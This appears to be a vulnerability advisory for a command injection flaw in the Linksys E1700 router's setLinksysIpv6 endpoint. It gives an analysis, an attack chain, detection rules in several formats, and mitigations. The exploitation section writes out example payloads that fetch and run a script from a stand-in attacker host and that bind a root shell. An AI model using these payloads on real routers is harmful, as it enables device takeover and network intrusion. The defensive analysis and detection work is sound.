CVE-2026-108896

Executive Summary

A critical OS command injection vulnerability exists in the Linksys E1700 wireless router, specifically affecting firmware version 1.0.0.4.003. The flaw resides in the setLinksysIpv6 function accessible via the /goform/setLinksysIpv6 HTTP endpoint, where manipulation of the _6rd_prefix and _6rd_prefix_len arguments permits unauthenticated or low-privileged remote command execution. With a CVSS 3.1 score of 9.9 (Critical) and the vendor unresponsive to coordinated disclosure, no patch is available, and public exploit code has been released, making active exploitation likely.

Technical Analysis

This vulnerability is classified as CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection'). The affected component is the setLinksysIpv6 function within the /goform/setLinksysIpv6 handler of the Linksys E1700 firmware version 1.0.0.4.003.

The attack surface is the router's web management interface, which exposes the /goform/ CGI endpoint family. The setLinksysIpv6 endpoint accepts configuration parameters for IPv6 6rd (IPv6 Rapid Deployment) tunneling, specifically _6rd_prefix and _6rd_prefix_len. These parameters are intended to define the IPv6 prefix and prefix length used for 6rd tunnel configuration.

The vulnerability arises because these user-supplied arguments are passed to a system-level command execution function (such as system(), popen(), or equivalent) without adequate sanitization or escaping. An attacker can inject shell metacharacters (e.g., ;, |, &&, `, $()) into the _6rd_prefix or _6rd_prefix_len fields. When the device processes these parameters to construct and execute a shell command — likely for configuring network interfaces or applying 6rd settings — the injected metacharacters are interpreted by the shell, resulting in arbitrary command execution with the privileges of the web server process (typically root on embedded devices).

The CVSS vector indicates:

• AV:N (Network) — exploitable remotely over the network.
• AC:L (Low) — no special conditions required.
• PR:L (Low) — some level of authentication or a low-privileged session is required (or reachable in the default configuration).
• UI:N (None) — no user interaction needed.
• S:C (Changed) — successful exploitation can affect resources beyond the vulnerable component's security scope, meaning the attacker can pivot to the underlying OS and other processes.
• C:H/I:H/A:H — High impact on confidentiality, integrity, and availability, consistent with full command execution as root.

The combination of network reachability, no user interaction, and scope change makes this a high-severity, wormable vulnerability.

Exploitation Scenarios

No public PoC is available in the provided data, but the vulnerability class and disclosure status (public exploit made available) allow for a detailed attack chain at the vulnerability-class level. The attack can be launched remotely, and the likely target is any internet-exposed or LAN-adjacent Linksys E1700 running firmware 1.0.0.4.003.

1. Reconnaissance / Target Identification An attacker scans for Linksys E1700 routers using Shodan, Censys, or mass internet scanning. Fingerprinting is performed via the HTTP response from the web management interface, the Server header, or the presence of the /goform/setLinksysIpv6 endpoint. Devices with the default or known credentials (or reachable without authentication, depending on the configuration) are prioritized.

2. Triggering the Flaw The attacker sends a crafted HTTP POST request to /goform/setLinksysIpv6. The request body or query string includes the parameters _6rd_prefix and/or _6rd_prefix_len. Instead of a valid IPv6 prefix or numeric length, the attacker injects shell metacharacters. For example, a payload might append a command separator followed by a malicious command (e.g., ; wget http://attacker/malware.sh -O /tmp/m; sh /tmp/m or | telnetd -l /bin/sh -p 4444). Because the handler does not sanitize these inputs before passing them to a shell execution function, the injected command is executed by the device's operating system.

3. Payload Execution The injected command executes with the privileges of the web server process, which on Linksys embedded firmware is almost always root. The attacker can therefore:

• Download and execute a secondary payload (botnet client, cryptocurrency miner, proxy).
• Open a reverse shell or bind a shell to a network port.
• Modify router configuration (DNS settings, firewall rules) to redirect traffic or persist.

4. Post-Exploitation Impact Given the device's role as a network gateway, full compromise allows the attacker to:

• Intercept and manipulate all network traffic passing through the router.
• Conduct man-in-the-middle attacks against connected clients.
• Use the router as a pivot point into the internal network (scope change, as reflected in S:C).
• Enroll the device into a botnet for DDoS or further scanning.

Because the exploit is public and unpatched, any exposed device is at immediate risk. No user interaction is required, and the attack is fully remote.

Impact Assessment

The CVSS 3.1 base score is 9.9 (Critical), with the vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H. The scope change (S:C) indicates that exploitation of the router's web interface can affect the underlying operating system and other network components, amplifying the blast radius. High confidentiality, integrity, and availability impacts mean an attacker can read, modify, or destroy data and services on the device and potentially the broader network.

Affected systems are Linksys E1700 routers running firmware version 1.0.0.4.003. These are consumer/SOHO devices often deployed at the network edge, frequently without regular patching. The vendor did not respond to disclosure, so the population of vulnerable devices is likely large and persistent.

Business impact includes:

• Network compromise: The router becomes a beachhead for lateral movement into the internal network.
• Data exfiltration: All traffic passing through the device can be captured.
• Service disruption: The device can be rebooted, bricked, or reconfigured to cause outages.
• Botnet recruitment: The device can be conscripted into DDoS or proxy networks, leading to reputational damage and potential legal liability.

The absence of a patch (Patch Confidence 0/4) and the public availability of exploit code elevate the risk to critical, requiring immediate compensating controls.

Detection Guidance

Sigma Rule

title: Linksys E1700 OS Command Injection Attempt via setLinksysIpv6
id: 8c4e2f1a-9b3d-4e5f-a6c7-1d2e3f4a5b6c
status: experimental
description: Detects HTTP requests to /goform/setLinksysIpv6 with shell metacharacters in _6rd_prefix or _6rd_prefix_len parameters, indicative of CVE-2026-108896 exploitation.
author: Threat Intelligence Team
date: 2026-01-01
logsource:
  category: webserver
  product: linksys
detection:
  selection_endpoint:
    cs-uri-stem|contains: '/goform/setLinksysIpv6'
  selection_payload:
    cs-uri-query|contains:
      - ';'
      - '|'
      - '&&'
      - '`'
      - '$('
    cs-uri-query|contains|all:
      - '_6rd_prefix'
  condition: selection_endpoint and selection_payload
falsepositives:
  - Legitimate administrative configuration with unusual characters (unlikely)
level: critical
tags:
  - attack.t1190
  - cve.2026-108896

YARA Rule

rule CVE_2026_108896_Linksys_E1700_Command_Injection
{
    meta:
        description = "Detects exploitation attempts targeting CVE-2026-108896 in Linksys E1700 firmware"
        author = "Threat Intelligence Team"
        date = "2026-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2026-108896"
        severity = "critical"

    strings:
        $endpoint = "/goform/setLinksysIpv6" ascii wide nocase
        $param1 = "_6rd_prefix" ascii wide nocase
        $param2 = "_6rd_prefix_len" ascii wide nocase
        $shell1 = ";" ascii
        $shell2 = "|" ascii
        $shell3 = "&&" ascii
        $shell4 = "`" ascii
        $shell5 = "$(" ascii

    condition:
        $endpoint and ($param1 or $param2) and any of ($shell*)
}

Suricata IDS Rule

alert http any any -> any any (msg:"CVE-2026-108896 Linksys E1700 setLinksysIpv6 Command Injection Attempt"; flow:to_server,established; content:"/goform/setLinksysIpv6"; http_uri; nocase; content:"_6rd_prefix"; http_client_body; nocase; pcre:"/(_6rd_prefix|_6rd_prefix_len)=[^&]*[;|`&$]/Ui"; reference:cve,2026-108896; classtype:attempted-admin; sid:2026108896; rev:1;)

Elastic Detection

network where
  http.request.method == "POST" and
  http.request.uri.path == "/goform/setLinksysIpv6" and
  (
    http.request.body contains "_6rd_prefix" or
    http.request.body contains "_6rd_prefix_len"
  ) and
  (
    http.request.body contains ";" or
    http.request.body contains "|" or
    http.request.body contains "`" or
    http.request.body contains "$(" or
    http.request.body contains "&&"
  )

Splunk SPL Query

index=web OR index=proxy
| search uri_path="/goform/setLinksysIpv6" OR uri="*/goform/setLinksysIpv6*"
| eval payload=coalesce(form_data, uri_query, body)
| where match(payload, "_6rd_prefix(_len)?=.*[;|`&$]")
| stats count min(_time) as first_seen max(_time) as last_seen by src_ip, dest_ip, uri_path, payload
| sort - count

Wazuh OSSEC Rule

<group name="web,linksys,cve-2026-108896,">
  <rule id="202610896" level="12">
    <decoded_as>web-accesslog</decoded_as>
    <url>/goform/setLinksysIpv6</url>
    <regex>_6rd_prefix(_len)?=.*[;|`&$]</regex>
    <description>CVE-2026-108896: Linksys E1700 OS command injection attempt via setLinksysIpv6</description>
    <mitre>
      <id>T1190</id>
    </mitre>
    <group>cve_2026_108896,attack.command_injection,</group>
  </rule>
</group>

Mitigation & Patch Guidance

Patch confidence: 0/4 (UNPATCHED — no patch evidence from any tracked source). The vendor was contacted but did not respond, so no official fix exists.

1. Immediate Mitigations

• Disable remote administration: Ensure the router's web management interface is not exposed to the WAN/internet. Access should be restricted to the LAN only.
• Change default credentials: Although the CVSS vector indicates PR:L, weak or default credentials may allow unauthenticated or trivial access. Enforce strong, unique passwords.
• Network segmentation: Place the router behind a firewall and restrict access to the /goform/ endpoint from untrusted networks. Use ACLs to block external access to port 80/443 on the device.
• Disable IPv6 6rd if not in use: If 6rd tunneling is not required, disable the feature to remove the attack surface. This may not fully mitigate if the endpoint remains reachable.
• Monitor and alert: Deploy the detection rules above to identify exploitation attempts in real time.

2. Patch/Upgrade Steps

• No patch is available. Contact Linksys support to request a firmware update and monitor for an official advisory. If a fixed firmware version is released, upgrade immediately.
• If the device is end-of-life and no patch is forthcoming, replace the device with a supported model from a vendor with a responsive security program.

3. Long-Term Hardening

• Implement a vulnerability management program that includes embedded/IoT devices.
• Use network monitoring to detect anomalous outbound connections from routers.
• Apply the principle of least privilege to administrative interfaces.
• Consider using a dedicated firewall/VPN for remote access instead of exposing router management interfaces.

References

1. NVD — CVE-2026-108896: https://nvd.nist.gov/vuln/detail/CVE-2026-108896
2. CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection'): https://cwe.mitre.org/data/definitions/77.html
3. MITRE ATT&CK T1190 — Exploit Public-Facing Application: https://attack.mitre.org/techniques/T1190/
4. Linksys Security Advisories: https://www.linksys.com/support/security-advisories/ (monitor for updates; no advisory currently exists for this CVE)
5. CISA Known Exploited Vulnerabilities Catalog: https://www.cisa.gov/known-exploited-vulnerabilities-catalog (currently not listed; monitor for addition)

No known threat actor campaigns or in-the-wild exploitation reports are available in the provided data. However, the public availability of exploit code and the unpatched status increase the likelihood of opportunistic exploitation, particularly by IoT botnets (e.g., Mirai variants). Organizations should treat this as an active risk and prioritize mitigation.